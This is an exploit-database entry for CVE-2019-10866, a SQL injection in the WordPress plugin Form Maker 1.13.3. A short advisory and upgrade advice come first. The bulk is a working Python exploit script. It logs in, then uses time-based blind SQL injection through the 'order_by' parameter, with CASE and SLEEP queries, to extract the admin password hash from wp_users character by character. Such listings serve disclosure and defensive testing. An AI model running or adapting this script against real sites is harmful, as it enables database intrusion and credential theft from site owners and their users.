WordPress Plugin Form Maker 1.13.3 - SQL Injection

vendor:

Form Maker

by:

Daniele Scanu

9.8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Form Maker

Affected Version From: 1.13.3

Affected Version To: 1.13.3

Patch Exists: YES

Related CWE: CVE-2019-10866

CPE: a:10web:form_maker

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Ubuntu 18.04

2019

WordPress Plugin Form Maker 1.13.3 – SQL Injection

A SQL injection vulnerability was discovered in WordPress Plugin Form Maker 1.13.3. An attacker can exploit this vulnerability to gain access to the database and execute arbitrary SQL commands. The vulnerability is due to the lack of input validation in the 'admin.php' script when handling the 'order_by' parameter. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable script. This can allow the attacker to gain access to the database and execute arbitrary SQL commands.

Mitigation:

Upgrade to the latest version of the WordPress Plugin Form Maker.

Source

Exploit-DB raw data:

# -*- coding: utf-8 -*-
# Exploit Title: WordPress Plugin Form Maker 1.13.3 - SQL Injection
# Date: 22-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://10web.io/plugins/
# Software Link: https://wordpress.org/plugins/form-maker/
# Version: 1.13.3
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-10866

import requests
import time

url_vuln = 'http://localhost/wordpress/wp-admin/admin.php?page=submissions_fm&task=display&current_id=2&order_by=group_id&asc_or_desc='
session = requests.Session()
dictionary = '@._-$/\\"£%&;§+*1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
flag = True
username = "username"
password = "password"
temp_password = ""
TIME = 0.5

def login(username, password):
    payload = {
        'log': username,
        'pwd': password,
        'wp-submit': 'Login',
        'redirect_to': 'http://localhost/wordpress/wp-admin/',
        'testcookie': 1
    }
    session.post('http://localhost/wordpress/wp-login.php', data=payload)

def print_string(str):
    print "\033c"
    print str

def get_admin_pass():
    len_pwd = 1
    global flag
    global temp_password
    while flag:
        flag = False
        ch_temp = ''
        for ch in dictionary:
            print_string("[*] Password dump: " + temp_password + ch)
            ch_temp = ch
            start_time = time.time()
            r = session.get(url_vuln + ',(case+when+(select+ascii(substring(user_pass,' + str(len_pwd) + ',' + str(len_pwd) + '))+from+wp_users+where+id%3d1)%3d' + str(ord(ch)) + '+then+(select+sleep(' + str(TIME) + ')+from+wp_users+limit+1)+else+2+end)+asc%3b')
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            temp_password += ch_temp
            len_pwd += 1

login(username, password)
get_admin_pass()
print_string("[+] Password found: " + temp_password)